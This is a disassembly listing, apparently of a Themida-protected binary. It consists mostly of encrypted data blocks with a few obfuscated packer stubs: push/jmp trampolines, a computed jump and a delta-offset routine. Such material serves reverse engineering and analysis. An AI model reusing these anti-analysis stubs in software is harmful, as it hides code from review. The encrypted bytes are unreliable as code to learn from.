dd 0CAFADD25h, 0CF23F9A7h, 0DB7891C2h, 2C273C6Fh, 9F86DA1Eh
dd 6A4D97B5h, 23F9A83Ah, 0EC01323Fh, 23F9A8B8h, 0EF33193Bh
dd 0B3F75BFCh, 6916397Eh, 8956F93Eh, 384D80CAh, 5EB2F1Bh
dd 559DE7E3h, 0A6FA2A0Dh, 391C23F9h, 23F9A709h, 8592F906h
dd 0BFD83F54h, 0C6D32BDDh, 6D658B93h, 0ADD14023h, 0C1CE23F9h
dd 1317297Dh, 231B79EEh, 0C6F60B3Ch, 0FF23F992h, 436595BAh
dd 0AB1AFD47h, 0B02BDDB1h, 0E8FA70A3h, 0D6763F90h, 0BDD60706h
dd 136FEB98h, 0A784F665h, 0B4C61A5Eh, 6D805D8Ah, 0A99AAEDAh
dd 46381FE0h, 460F2859h, 0BBCDD508h, 0C009470Fh, 8E509376h
dd 5E7023FAh, 0A4F45E1Eh, 2DC4F51Eh, 0B9EDDC20h, 2123F9BFh
dd 5FEF664Dh, 26B4C81Bh, 793C2CF6h, 0DC73ACDDh, 538366AEh
dd 5823FA5Fh, 2A821A4Bh, 515A5E4Fh, 28h, 0C8C0E650h, 979C9B7Eh
dd 0D27F23F9h, 27272E86h, 0FE4790E3h, 9797CBBAh, 6CFF23F9h
dd 0AAD787E3h, 0D9545A5Eh, 53000000h, 88D27CD9h, 1D322E40h
dd 0F1BCE18h, 163EFA2Ah, 0C1F2FF1Ch, 98E7F94Dh, 51F36E74h
dd 79DAF324h, 0BB9A8DD1h, 0F95C4F93h, 0C2112255h, 0DA1C168Bh
dd 0A8EC62F3h, 4A0B2455h, 1C60F464h, 117ABBFEh, 59A29071h
dd 0B3D5DD10h, 0B38A6DB7h, 0B823FD34h, 0A64F61ABh, 0D2B1AC8Ah
dd 0D0B73162h, 0B3E3C683h, 0B823FC87h, 0EB038E0h
dd 95DE3ABDh, 4F04194Ch, 0C2D509FBh, 99BDBAC1h, 3BA9Ch
dd 89CF8B00h, 3E184156h, 0EE5EF60Bh, 0A2B2A6BBh, 51F95A6Fh
dd 7CC1EA1Eh, 2B4073D7h, 0DEF3262Ch, 90A5D878h, 0F15689C5h
dd 9F74A487h, 0C57923FFh, 0C29178C4h, 153E5788h, 4F04EB35h
dd 0D56FC5Bh, 0E24576C9h, 6FB88CDh, 0A0958C3Dh, 0D51E2E26h
dd 0D1E3598Ch, 0A9E82AE2h, 0BA396AA0h, 8ED27CD9h, 4A94BA9Bh
dd 2B5CF263h, 7CD94DC8h, 8EBEEED1h, 0AEBB1C15h, 0BEEB489Ah
dd 0A5EEF02Dh, 67E76E61h, 0E1A2C34h, 0D779DDC4h, 6492CA6h
dd 0A923F9FCh, 3569589Ch, 9D23F9D9h, 7129450Ah, 0F65A5ED5h
dd 2Fh, 9FCFB2FAh, 9C23F9D0h, 0E6DF5E8Fh, 9B7EC8C0h, 23F9979Ch
dd 3F2E727Fh, 23F9980Bh, 9BB89F73h, 0A457EAFh, 5EAA0E5Eh
dd 0F62D5Ah, 782C0000h, 8F1D4D30h, 7B751C15h, 9FFDD197h
dd 0CA8A379Eh, 0EF083982h, 0B1A4E866h, 3164DDA2h, 60A2BF6Ah
dd 377FD317h, 4480450h, 979CCCB1h, 0DBBE1C15h, 1C1597ABh
dd 2F3CA3B0h, 0DE70E5FEh, 9FAEA79Ah, 15978CBCh, 3B84911Ch
dd 9CA8F708h, 0F4611C15h, 4312275Ah, 83AFC10Bh, 0E2318904h
dd 0D7BD3162h, 8C6FB9B1h, 23FA6645h, 98BA9D4Ah, 3E180154h
dd 8E96C912h, 43267078h, 2BE14066h, 0BF23C49h, 0EE1E0148h
dd 0EB1C17BBh, 4D6295DEh, 82524406h, 9EC2A626h, 24D7D7Ah
dd 62F80000h, 0ABAEC3F6h, 0F16378ABh, 4513285Bh, 8CC7DC0Fh
dd 74578BBEh, 0ADE06AE9h, 6093BF98h, 12450B4Bh, 0C3F658FDh
dd 0E111F45Eh, 0DE23FFA1h, 7AD9292Ah, 15279DD0h, 38D50B7Fh
dd 8FA8D97Fh, 2C3E88C6h, 40AFD1D9h, 5C4346E4h, 6E9C0014h
dd 0D317391Dh, 84E3780h, 39B41748h, 7EC8C0E6h, 0AF722436h
dd 0A68FBFA2h, 7F8C1C15h, 2EAE6D6Bh, 9EE9E8FDh, 0B9C623F9h
dd 9D528675h, 7FD523F9h, 0BE9689CDh, 574A8Eh, 98B75252h
dd 113E7EBh, 454A80C4h, 73E376FFh, 0CDFDE02Ah, 0D223FA64h
dd 0F45B94C5h, 5E752078h, 42256D5Ah, 23FA6912h, 0FD2C176Ah
dd 3DA44E73h, 0EC5FFF30h, 63000000h, 3579DD7Ch, 0D932B1E2h
dd 9B8ED27Ch, 4892B8h, 158EED1Dh, 5F1AF21Ch, 581EB53Ah
dd 0D14576BFh, 160A93E2h, 0EFBF961Ch, 0F5D21B64h, 0C6A11538h
dd 9DE6397Dh, 17BD4153h, 52EC0193h, 0ACA9BE21h, 230A5EA2h
dd 86D91D33h, 2B274955h, 62B7FEE1h, 0E7F423FAh, 8D9AACB4h
dd 0FA597AAAh, 89B99C23h, 8623FA59h, 0BC051279h, 40538F72h
dd 2D752BE1h, 17BC1A4Ah, 0E1121F1Ch, 0CCEE724Ah, 0ED44D64h
dd 4C337BC5h, 9EB4A307h, 64E86C55h, 11391A33h, 208AC9DEh
dd 0E0D21B37h, 0C2A5D90Ah, 0ECD9D6FAh, 59000000h, 0F245701h
dd 0C4D90C4Ah, 7489BC90h, 283D70E4h, 0B8EC1F2Bh, 41094A13h
dd 0F45EF90Eh, 0A6AAACC1h, 57F75E73h, 7255BF24h, 23FFA342h
dd 78929347h, 8F1D4D30h, 0B9A01C15h, 9F06599Dh, 0B486192h
dd 5EF70C3Fh, 7842BDF0h, 8F1D4D30h, 15221C15h, 0C48ACBE4h
dd 86C88D80h, 8395DD53h, 7EDF8F69h, 0A3A1FAFh, 0F1C1598h
dd 0A3C5D102h, 0B77A5DA7h, 0DC23FFA1h, 25378BCFh, 1F04488Eh
dd 0F62C40AEh, 633ADC3Ah, 0C491AADBh, 1342578Ah, 0E908F73Bh
dd 0B3A10349h, 0DF73E4CBh, 0DDA75AEh, 62F26648h, 4F82CB1Eh
dd 0E9331B3Ah, 0CDFE5602h, 381E0559h, 2871DD78h, 476091E4h
dd 12F94311h, 66DA0B43h, 0F56E805Ch, 12422533h, 1796FF29h
dd 2F84F60Ah, 0E46BA4D5h, 0CD004E07h, 6DB19DB8h, 0A70h
dd 3F697500h, 0E52FE58h, 0D90B8ABBh, 0A093D781h, 625599B5h
dd 25185CF4h, 0E9DC2032h, 0A99CE06Ah, 695CA0AAh, 2E2165EFh
dd 0EFE22626h, 6AA8EC6Ah, 81E18951h, 4C1h, 4E98300h, 8B240C87h
dd 5682424h, 89000017h, 89522404h, 4C281E2h, 81000000h
dd 4EAh, 24148700h, 2414895Ch, 0EA09EB68h, 24048B07h, 6804C483h
dd 6DB8h, 83242489h, 5A042404h, 8428F50h, 5A2434FFh, 4C481h
dd 48B0000h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
dd 48BBE95Ch, 0FA43FFFBh, 0A77E27A3h, 1591B800h, 0C50307EAh
dd 7647E0FFh, 8F2147BCh, 976B2BD5h, 58C219B8h, 9FA07847h
dd 0ABB228AEh, 0D2DD05EAh, 11A147BCh, 0F737A33h, 338154A5h
dd 69752C7Ch, 9EE6227Fh, 0B79C6EE5h, 0B934251Ah, 0A7F21BEEh
dd 9DE97BF7h, 0E9000000h, 943AF7FCh, 5000000h, 1000000h
dd 28000000h, 200000Ah, 53000000h, 69767265h, 50206563h
dd 206B6361h, 32h, 1Dh dup(0)
; ---------------------------------------------------------------------------
jmp loc_5E4752
; ---------------------------------------------------------------------------
push 7EA18BFh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EA1A1Dh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EA1B37h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EA1B91h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EA1CADh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EA1D23h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EA205Ch
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EA215Fh
jmp loc_58A287
; ---------------------------------------------------------------------------
db 98h, 0C0h, 9Eh
dd 0FB1BF40Ah, 5B755167h, 0BED2B1C7h, 1D39142Ah, 114AB089h
dd 70861A36h, 0CEE47896h, 3046DAF0h, 0F4A73B53h, 0B730C744h
dd 599E13A8h, 617956CAh, 7B997311h, 0A0C9AE2Bh, 1C851442h
dd 14B2440Ah, 4CE71F37h, 2B43203Ah, 11E269DBh, 3056D6ADh
dd 0BBEC22D0h, 0D5E71871h, 0B3FB94B3h, 0A7E4E663h, 41AA13A6h
dd 88A35C09h, 172813A6h, 0F5D02F6Fh, 4305D877h, 2E000000h
dd 5E39424Dh, 0FB99E942h, 34CF071Dh, 9DAFCFA8h, 0A98C42BFh
dd 0E14A13A6h, 0C71AF391h, 9BD3E9h, 22CF95A7h, 13A6A959h
dd 22FE9CEEh, 2602D008h, 0E039D40Ch, 497531CEh, 0D87808B6h
dd 11D1Fh, 20924800h, 0D4AE1FA1h, 83E37EB6h, 0F5D169FEh
dd 0AF08A3DBh, 8EA6839Dh, 91AD8856h, 96AE8B59h, 0ECD6D446h
dd 4EA56077h, 0CBA8763Ch, 0E8C563B3h, 0A1F698D0h, 0B80B86E2h
dd 8AACBE17h, 1C3612B0h, 3E3749E4h, 144289C6h, 4D297451h
dd 1838C72Ch, 79D2E1A2h, 0B94DA641h, 76AEC6A3h, 6EBEF09Fh
dd 75956E0Ch, 78946F3Dh, 12140D1Fh, 6013A632h, 0C845A7F7h
dd 13A63A33h, 0B4E92F9Fh, 817C0140h, 0A8BE9C28h, 0A1C3D570h
dd 51A10D82h, 5D7351EFh, 6A2A8A25h, 0F9A7B743h, 810A0315h
dd 0CD1440A8h, 9B761464h, 0AF11EB7Fh, 896B4D32h, 14A0091Bh
dd 0F10B1D39h, 74A6FA16h, 39623490h, 96673F9h, 3D150000h
dd 9871871Bh, 0F2CEE478h, 4F2E44D8h, 0B691A73Bh, 0C72D069Ah
dd 397B38Eh, 61F513EDh, 0C3576D4Bh, 24B8D0ADh, 0BF44C171h
dd 1B13A8B8h, 7B5647D6h, 0B2080958h, 0FC5553F1h, 13F08E68h
dd 1628C3FBh, 0B7071FFCh, 0AC205545h, 0E47FB7CFh, 39913184h
dd 82B5D7D9h, 0DEF0CFECh, 0F492EBBCh, 9470FC1Ah, 4A45687Ah
dd 0D1971464h, 9F13A6A9h, 0AA3DC23Fh, 309913A6h, 0A82587D7h
dd 13A6AAD3h, 0FF132670h, 0A2F307F5h, 0DA122806h, 0ED4E63Fh
dd 0A6669E61h, 79DB2D13h, 45B23E07h, 35A01516h, 13A6A04Eh
dd 0F491A30Ch, 2AA709B0h, 13A6A055h, 0C25F9101h, 9DE0A97Ah
dd 0A8573244h, 0EED8773Bh, 7A680F8Ch, 7DE613A6h, 0BCB7891Dh
dd 4E60D7E8h, 0C4AFh, 7956D800h, 805B2961h, 877F2C64h
dd 921442A4h, 71916AB5h, 0F5459E39h, 29617B57h, 445A7C8Eh
dd 40174F67h, 710F5F4Fh, 536B4895h, 0EF27801Bh, 0D0294721h
dd 0E163E0BEh, 0AF13A6B1h, 1884F646h, 0F1F619A1h, 2E05EC21h
dd 0CA7F2ECEh, 1EBC96B8h, 56F12941h, 406E2144h, 6D5773F0h
dd 0BC251440h, 0C4ADFA6Ch, 8CAD589Ah, 23FE9C7Ah, 37997307h
dd 894FC5BAh, 17F5911Bh, 0D52EC901h, 0B2CEA9C3h, 346BC65Eh
dd 35BBFB62h, 808h, 0E5799B73h, 42D6F6CFh, 0A236502Ch
dd 599AD8Ch, 64F814EFh, 11EC658Bh, 714B61F5h, 0CBA9BF53h
dd 2E0B21B5h, 1FCF8216h, 0A8BADDA2h, 0A5347913h, 0CB5F7B56h
dd 2CC0D8B5h, 6179565Bh, 667E5B29h, 9FDCB3D2h, 0A674ACC0h
dd 0DE79B1C9h, 5FDC2C85h, 13A8B6C8h, 77CD1686h, 99D1E9C6h
dd 3A909EFEh, 852373CCh, 0ACA789A8h, 0D7806AB2h, 0A8B4A55Ah
dd 6FC83113h, 668D8216h, 0F513A8B4h, 4F2B7E57h, 962FD35h
dd 12436D1h, 0D5AA2790h, 8113A8B5h, 42BBF18h, 5D513E80h
dd 0CC49AB0Dh, 13A8B537h, 2F283AA3h, 144C9961h, 1476C62Fh
dd 8CE1E097h, 0F3056E1Bh, 166F515Ch, 0EEA18844h, 0F3D270C0h
dd 607453DFh, 49F3704Eh, 7B031B8h, 8F669Eh, 7FFC5EAEh
dd 0BF39FAF8h, 0FDDBED56h, 1120FD9Bh, 39FAEF94h, 0A9026BBFh
dd 0FA27DC59h, 4AB3BF39h, 4A1B3F38h, 48BAB8DEh, 53BE6535h
dd 0DEBDCFE6h, 0AA872575h, 0C8A44292h, 647A9CAEh, 131B6F87h
dd 0C2BE9D0Eh, 6EEFC82h, 0B58D0000h, 10E9FF93h, 6A465CF0h
dd 0C7A6BC50h, 2E091FB3h, 5FA57E12h, 7B0F2B06h, 0D96D8B65h
dd 3BCFE5C3h, 9C304825h, 0C7BC39E9h, 9313A8BBh, 424DBF4Eh
dd 889F1C6Ch, 0C613A8B6h, 966F0D5Dh, 0F3CCE276h, 0F0CD9BD3h
dd 16F37BD1h, 63BC2690h, 1581290Fh, 0FA80C06Ah, 694h, 59ED0FE7h
dd 0B64A6A43h, 16AAC4A0h, 790D2100h, 0D86C8863h, 8560F9FFh
dd 0E5BFD569h, 3F1D33C7h, 0A27F9529h, 9343F68Ah, 0A8BB6116h
dd 19A8ED13h, 1C6C424Dh, 0A8B6889Fh, 0D5DC613h, 0E67A926Fh
dd 0DA599A0Ch, 130A0786h, 0FBB3DE01h, 2D5D2EABh, 0A81113A8h
dd 2D39C370h, 7F9013A8h, 906897C7h, 336DD871h, 96000000h
dd 1A6A444Dh, 42A0EA9Dh, 9B187814h, 1442A0E4h, 0DDFDD672h
dd 58B10AA5h, 0A0887320h, 2E3F1442h, 1DB94676h, 71EE05Ch
dd 47000000h, 1CD9Eh, 0C7452D00h, 2CA90E81h, 1442A057h
dd 0F1419A03h, 0A68CA674h, 0FAD87413h, 0B811ACE4h, 0D6ECCA68h
dd 5AF1039Eh, 0F48B086Ah, 6213A68Ch, 57EEE7F9h, 0D7BC0C23h
dd 29A6F6B8h, 0A4285A17h, 0DD5ACD3Dh, 4D3373EDh, 71CAE6C1h
dd 3009A739h, 0B4DBFE10h, 0F52DAAFAh, 0A7ACD75Fh, 0EE8CEE3Eh
dd 22BDF515h, 0CE19F610h, 3080D9F1h, 0A0AA51CEh, 0BF28D318h
dd 293B5933h, 0FC14F107h, 0A65B9AA8h, 9D2363AAh, 578h
dd 75092B03h, 0D266865Fh, 32C6E0BCh, 95293D1Ch, 0F488A47Fh
dd 0A17CD51Bh, 1DBF185h, 5B394FE3h, 0BE9BB145h, 0AF5F12A6h
dd 0A8BC4D32h, 35C40913h, 11617956h, 6E4D9473h, 2EC9015Ah
dd 107F561Ch, 5ADC4E9Eh, 117A0BA9h, 23A07E90h, 13A65685h
dd 0EF572D4h, 0CC13A657h, 9725163h, 0BC399B75h, 13A657C7h
dd 0FE182A93h, 97B50921h, 7A6A1B63h, 502B43Ah, 0A1790000h
dd 0FCD5EB7Fh, 563248DCh, 0B392A83Ch, 1AF50B9Fh, 6B916AFEh
dd 67FB17F2h, 0C5597751h, 27BBD1AFh, 881C3411h, 0D3A825D5h
dd 7F13A8BDh, 7956AB3Ah, 7E5B2961h, 27F02E66h, 0B23007Fh
dd 22FF9D77h, 463DBA0Ah, 141442A0h, 41BE99ABh, 96E05C1Dh
dd 32h, 6C424DBFh, 0B8119F1Ch, 0D63F13A6h, 0B90EF19Eh
dd 0ACBD13A6h, 4E4FC1F8h, 5DB9E5F7h, 69967183h, 6ED877F2h
dd 56h, 662E1C8Eh, 6919AB5Fh, 424D8257h, 3B9F1C6Ch, 5913A6EFh
dd 2902A0F0h, 9D90C02h, 0BB148802h, 0EEC3F96Bh, 192FC4AEh
dd 0FF5F0B2Dh, 44569358h, 69E64822h, 13A62B92h, 9C63E040h
dd 3A13A62Bh, 6D6678D1h, 13A62B93h, 7D112906h, 366E8E67h
dd 42FB0h, 0F4923F00h, 2CC7FF17h, 1698F71Ah, 3D4A28C6h
dd 42A03BC0h, 0D52E9714h, 8268E5C3h, 5013A682h, 4E1AFE7h
dd 9250B4ECh, 87734E20h, 0ACBE7AB0h, 0B0DF570Fh, 3110AEFEh
dd 0BE4AE51Dh, 0F38EC6E4h, 0E08603E1h, 6E1442D8h, 7E5B7105h
dd 38572E66h, 3DEB666Fh, 0E672D6F8h, 4696EF0Bh, 6EB397C9h
dd 60DD3D1Ch, 3EE8B9Bh, 0A4C09B37h, 0EC78D16Ch, 26C1F90Dh
dd 0E9C795CDh, 931D02CCh, 0FB54C82Eh, 0FC1CF5C3h, 0E360DC4h
dd 4EF6CD42h, 46DAF2CFh, 0F6466827h, 0A98AF79h, 97147604h
dd 0BD29AE0h, 14F3056Eh, 43E173ABh, 7D185064h, 5C74516Bh
dd 0EE966D24h, 35852966h, 3683EEB8h, 0B74BB40Ch, 74ACC4A1h
dd 77AFCBA6h, 0DCB75513h, 5511AEC0h, 61F50DEAh, 0F60AE987h
dd 0E0CEC1E4h, 0EAC91390h, 278734D2h, 2B96AA89h, 3B1AD254h
dd 8409902h, 0D14E5D3Ah, 3B1AD22Ah, 0AEE63FA8h, 0B5ED01E0h
dd 0B8F00CE7h, 601054D7h, 0E45014EBh, 15B303ABh, 4EE92137h
dd 0B7C9E9C2h, 0CC025CD9h, 67D03CFEh, 0C8E0BDD3h, 0CDE5C290h
dd 0E4C15F39h, 0F897BACCh, 0EDC866B6h, 6EA6C49Eh, 0A7427AD3h
dd 0B03AB795h, 0FF249A22h, 875E748Dh, 6C4A4F6Fh, 2A831E56h
dd 80D03918h, 89E909E2h, 0C66F6D64h, 0CC92A4E9h, 62DD5C1Fh
dd 0AADAEB2Bh, 5D7351EFh, 0A08F704Bh, 6448A13Bh, 71000000h
dd 0D19B2092h, 1158CD4h, 3BD60E22h, 0E2ADD0E2h, 49FF7CCCh
dd 713A68Eh, 0C6B9669Eh, 5113A690h, 54225A76h, 16ED6A75h
dd 0C413A690h, 8CCA025Bh, 77CF83C3h, 92AA8725h, 0F26FBF5Ah
dd 13A6900Dh, 0B14E60C9h, 0E136C9F5h, 0EE60D877h, 0C2AD24D8h
dd 6B0A1CF6h, 0DFh, 0D7AC298Bh, 8313A600h, 5633081Ah, 9F116179h
dd 1E2816F1h, 8E26E01h, 4412D8EAh, 47154D69h, 4C1A526Ah
dd 0CEC3576Fh, 14423B56h, 9CEC04E1h, 0A9BD9C3Ah, 946BD671h
dd 42144203h, 8FA5C7D9h, 8B629AB2h, 0DD5AAA04h, 13A60DCFh
dd 326019Dh, 2F874888h, 94E43DBCh, 0A6256017h, 2C85EE13h
dd 4A603EDCh, 0DA3C1638h, 0A625A65Dh, 7BCB3413h, 0A62579FEh
dd 5A6CD513h, 6565837h, 40CFA189h, 0FA4AB314h, 0D165815Ch
dd 70C4E0BBh, 6234EBE6h, 0C979FF3Fh, 0B2000001h, 0E24B8DAh
dd 6B811535h, 0CBE1758Fh, 2E44D8ECh, 0CAA33753h, 34502B24h
dd 92B08AA0h, 0F40AE8FEh, 556D4A60h, 0E15E0EC1h, 13A8801Ah
dd 56E473B8h, 710F5F7Bh, 0A6417997h, 7F5C7294h, 0A0791767h
dd 0FF17F480h, 4DFACBEDh, 3F87542h, 941442A0h, 0CA659DB9h
dd 43C01079h, 1442A0BCh, 858B11Ah, 0F2F08A6h, 112F09D7h
dd 0D3E53ED9h, 0A6A914DAh, 481E313h, 13A6A97Fh, 816072DBh
dd 95EE0AE5h, 4F2DCB5Dh, 54660139h, 0A6A9A05Bh, 6E162713h
dd 7808D12Eh, 0A606D8h, 562F0000h, 5B296179h, 57B45D80h
dd 7205FA77h, 68D11442h, 0D8D1C808h, 9A9A477Fh, 0AD144254h
dd 4A24B8D0h, 0A786CDACh, 67023A93h, 135E3B55h, 8AC21B39h
dd 82D2DCB3h, 0A65B9705h, 0C85CC513h, 78C8E6A9h, 4142F8FBh
dd 0E966C614h, 1B894B12h, 2F4724C0h, 8F2D7DD6h, 0EE0498B4h
dd 0BDA3F713h, 7C623470h, 0C6B63Ch, 0DDB50000h, 381127BBh
dd 926E8418h, 0EFCEE478h, 563147DBh, 27CDA63Ah, 0A337532Eh
dd 195B38Dh, 63F70DEBh, 0C458704Dh, 1FE46111h, 0BB13A881h
dd 7B56E776h, 0D8B5CB5Fh, 0B4522CC0h, 0D6ABBDD9h, 4F2E7956h
dd 0F68033Bh, 244521BFh, 0AA530112h, 0BFF75026h, 7E4C1224h
dd 0D6F589A1h, 28A5F5B9h, 13A82107h, 0DCAAE24Bh, 0F997E7FFh
dd 33CE061Ah, 0CE9FF21h, 7D0FBCF4h, 222EB5D3h, 0A17EE1A5h
dd 2DFF589h, 20FC9AEAh, 86DFF5D3h, 8A17AC4Eh, 7B3EAB68h
dd 7C4A1022h, 9A51899Dh, 66D883C3h, 0F9F74432h, 0BBD5E7B6h
dd 1C32C6DEh, 1989203Fh, 6449E0C2h, 0D4DD30Bh, 0D3000000h
dd 43C5C35h, 0E43D5D36h, 3E8DFDD2h, 245C7E56h, 29617956h
dd 2F677D5Bh, 31698761h, 346C8863h, 376F8B66h, 3E768A69h
dd 427A9470h, 437B9B74h, 0E68956EEh, 4C681h, 0EE830000h
dd 24348704h, 2414895Ch, 81E68956h, 4C6h, 4EE8100h, 87000000h
dd 895C2434h, 2D682434h, 8900004Ch, 4268243Ch, 8B07EA17h
dd 0C4832434h, 70406804h, 24890000h, 24048324h, 31685F04h
dd 89000074h, 0F2892414h, 5A085789h, 50243C8Bh, 405E089h
dd 83000000h, 48704C0h, 34FF5C24h, 0C4815E24h, 4, 0FA5B3AE9h
dd 0F16C74FFh
db 0F3h, 27h
; ---------------------------------------------------------------------------
loc_5E4752: ; CODE XREF: Themida_:005E3B78j
mov eax, 7EA224Ah
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0AAh
dd 3651D9ACh, 472F45C1h, 2F2E9C5Ch, 11107F81h, 0A5140577h
dd 59508A69h, 676C5551h, 2D679DC3h, 206C3623h, 0E9797580h
dd 0Fh, 79D0545Ah, 2 dup(0)
dd 0E9000000h, 559h, 0D96D8F67h, 36CAEAC3h, 962A4420h
dd 0F98DA180h, 58EC08E3h, 5E0797Fh, 653F55E9h, 0BF9DB347h
dd 22FF15A9h, 13C3760Ah, 0A883E196h, 99286D13h, 29617956h
dd 0F06D805Bh, 1442A00Bh, 71055EC7h, 2E667E5Bh, 336B8360h
dd 346C8C65h, 2C1353D0h, 0C9A3374Fh, 0A015EA67h, 58C11442h
dd 384E2C46h, 4F2CCAA4h, 7A882130h, 0AE07B513h, 0AFC9DB76h
dd 0B583BBD1h, 0B785BDDBh, 0BC8AC2DAh, 0C290C8DEh, 0F893CBE7h
dd 652D59D6h, 0F26D19F0h, 0A45AF714h, 262FD451h, 42AB1442h
dd 190755E2h, 39162CC0h, 423CE921h, 5F14422Dh, 26FAEF61h
dd 32BA90D1h, 9BC38320h, 0E05B6564h, 0A8B79432h, 4200542Bh
dd 40990214h, 83BBDBB4h, 9437D6E8h, 60000000h, 502E7956h
dd 0FCA9E13Ah, 1442A001h, 679FBB96h, 17A3BD99h, 84E8203Ch
dd 11135F07h, 0CB691054h, 0EAC5D7EDh, 0E05C1115h, 0C4E91183h
dd 0C668BE04h, 115B4h, 563E0000h, 0AB0D5D7Dh, 42A0492Eh
dd 8A9C0514h, 0EDC032C4h, 0C15266C3h, 19F20C1Eh, 7537A9F9h
dd 5D38DCB9h, 4A18DEF0h, 6907576Bh, 29D36B8Eh, 5DA419A2h
dd 0E131CC04h, 42A59F64h, 0C0D23B14h, 6D1996FAh, 0A9F919F2h
dd 0FBB49437h, 495BD565h, 1C341127h, 642C5ACCh, 0CE321CD9h
dd 56C99ABCh, 59275F7Bh, 0EA286080h, 1FFA6521h, 3715B303h
dd 3C4EE921h, 0F27041Ah, 132D09D7h, 2C3C51C3h, 0FFD751D7h
dd 3B8D27EDh, 0CF1044C9h, 21460EAFh, 14DAD62h, 0EC899B91h
dd 0D22B04B8h, 88ECE05Bh, 15000000h, 275F7B56h, 395C7D59h
dd 0C907EAE4h, 0E64A82DBh, 67423D69h, 92F31144h, 98F888D4h
dd 0EAD267A9h, 0A1358E4Fh, 4494B08Bh, 7AB2C8A6h, 3907CDDFh
dd 58F6465Ah, 8A50627Ch, 0F7A7DFF0h, 0E05BED38h, 59BDh
dd 7B56E600h, 7B59275Fh, 855F2D65h, 82612F67h, 2FF8366Eh
dd 199C3B77h, 0FB17F26Dh, 941439ABh, 0EFF8F17Fh, 305D229Fh
dd 90F91442h, 20825C7Eh, 4230DCA3h, 47653F14h, 0BA23740Fh
dd 33B4F2Eh, 56815668h, 78255D7Dh, 1442A086h, 0F6A6DE9Bh
dd 0E05C1109h, 1CEh, 7A56F700h, 93721060h, 38B5477Fh, 1442A043h
dd 3B4DA60Fh, 7FCAA775h, 22FB87A5h, 0BB59A902h, 0F38EC6DEh
dd 8D641BE1h, 798A66D9h, 42A007FCh, 116AD314h, 7D315E7Dh
dd 0A94ECB2Dh, 251442A0h, 4FCCAABCh, 13A69119h, 5FA77D7h
dd 0D113A692h, 9D70F68h, 0DBA01D2Ch, 7713A692h, 0B21B50Eh
dd 31DE162Eh, 13A6924Ch, 0E7135B8h, 2BC91931h, 60FB3351h
dd 0E0522C4Eh, 1C25D56Ch, 3A5466CEh, 3F0D455Dh, 0D4124A62h
dd 7E45B0Bh, 6AC3E3BCh, 6400FFD6h, 0F896D877h, 7FA50519h
dd 0A44FC244h, 2322C1D3h, 4B000001h, 5C39424Dh, 0C21B3511h
dd 4696EF8Ah, 7B4F72E4h, 0AC0C2200h, 5264940Ch, 0A6458759h
dd 0ACE44D13h, 55E901DEh, 124A623Fh, 0F704E280h, 0A7B9857Ah
dd 8FE85113h, 90AABC57h, 25639BB3h, 5835285Ch, 60D2AC40h
dd 0A0DB4422h, 694456C7h, 0D876EE96h, 483Fh, 444D6800h
dd 69D1A6Ah, 546BBD5Fh, 7106B3EBh, 319442A0h, 0D7F3A6Ah
dd 811020FDh, 6C8FA134h, 0BC398925h, 0EBBDBA27h, 0DFFBD674h
dd 7352EECDh, 9872065Fh, 0C4DB7F26h, 52B2172Ah, 0C8703CD3h
dd 0C496A8A6h, 86h, 65424D53h, 0EFEFA42Ch, 2474CD83h, 2D4924C2h
dd 8570221Bh, 0B51E13A6h, 0BAD2AF7Dh, 0F48B086Ah, 2713A6F5h
dd 61FC3448h, 7395A710h, 1868805Dh, 4981A17Ah, 0D8B14EAEh
dd 0B3FE2746h, 0B22EDBA1h, 0B213A6D3h, 2B08772Fh, 2F607F13h
dd 1E56704Ch, 5DDA2A83h, 144CF65Fh, 0BE8CC42Dh, 0DA91C9E1h
dd 0BCD34303h, 0DE40A2F2h, 8C379A61h, 64CF381Bh, 1B8C379Fh
dd 0A8C49F3Bh, 6A7CD570h, 15910F8Ch, 76DF1C66h, 424D11E2h
dd 219F1C6Ch, 6F13A882h, 3F18B606h, 79470D1Fh, 5B75519Ch
dd 7B586E02h, 187E2B63h, 656D92FFh, 0E4C1BCE8h, 0C3CB30C5h
dd 6627B146h, 54B41D92h, 93EC1144h, 0AE8725FFh, 3AC13E8Eh
dd 9892663Ah, 26031D2Fh, 0A644D60Eh, 8BA380C7h, 4D5FB853h
dd 0F0405433h, 245C7652h, 0C7BC3989h, 9392663Ah, 8452182Ah
dd 0B3558DA9h, 5AA21D43h, 39129E3Fh, 532AE119h, 0D2EA5F13h
dd 2C3E5834h, 8B68D78Fh, 0F14A6440h, 3DC23FA1h, 999266F9h
dd 22FC1E30h, 68344EC0h, 41A7AFC9h, 66ED21D6h, 3244AD92h
dd 321C3B18h, 0B5A96380h, 58DE166Fh, 3, 563E8DE7h, 56245C7Eh
dd 5B296179h, 612F677Dh, 63316987h, 66346C88h, 69376F8Bh
dd 703E768Ah, 74427A94h, 0EE437B9Bh, 3C8F68h, 241C8900h
dd 0C381E389h, 4, 8704EB83h, 685C241Ch, 1D14h, 68240489h
dd 69D5h, 52240C89h, 0EA2311BAh, 5A585207h, 240C8B54h
dd 4C481h, 0BA520000h, 8, 53A4C281h, 0CA01672Dh, 53A4EA81h
dd 289672Dh, 2434FF5Ah, 4C48359h, 582434FFh, 4C481h, 9CE90000h
dd 0B2FFFA55h, 0A77263BEh, 0E12F17C4h, 27F9B876h, 0C50307EAh
dd 5817E0FFh, 435D677Fh, 93A34BE0h, 0F2B0632Eh, 0AAE31F10h
dd 7072119Fh, 68274562h, 59173D80h, 0A6B85D8Eh, 0B9D84BFBh
dd 0DE1F396Dh, 88BE391Eh, 0F5462997h, 5E154237h, 0F8A02283h
dd 160F78B5h, 4A4C0BE0h, 138E3CFBh, 4276899h, 24EB44FCh
dd 9 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5E4E32
; ---------------------------------------------------------------------------
mov [ebp+7EA28C1h], esi
mov eax, [ebp+7E42015h]
mov eax, [ebp+7E41BCDh]
lea esi, [ebp+7EA290Bh]
lea eax, [ebp+7E78417h]
call eax
retn
; ---------------------------------------------------------------------------
push ebp
call $+5
pop ebp
sub ebp, 7EA2911h
cmp dword ptr [ebp+7E42015h], 1
jnz loc_5E4DDC
push dword ptr [ebp+7EA28C1h]
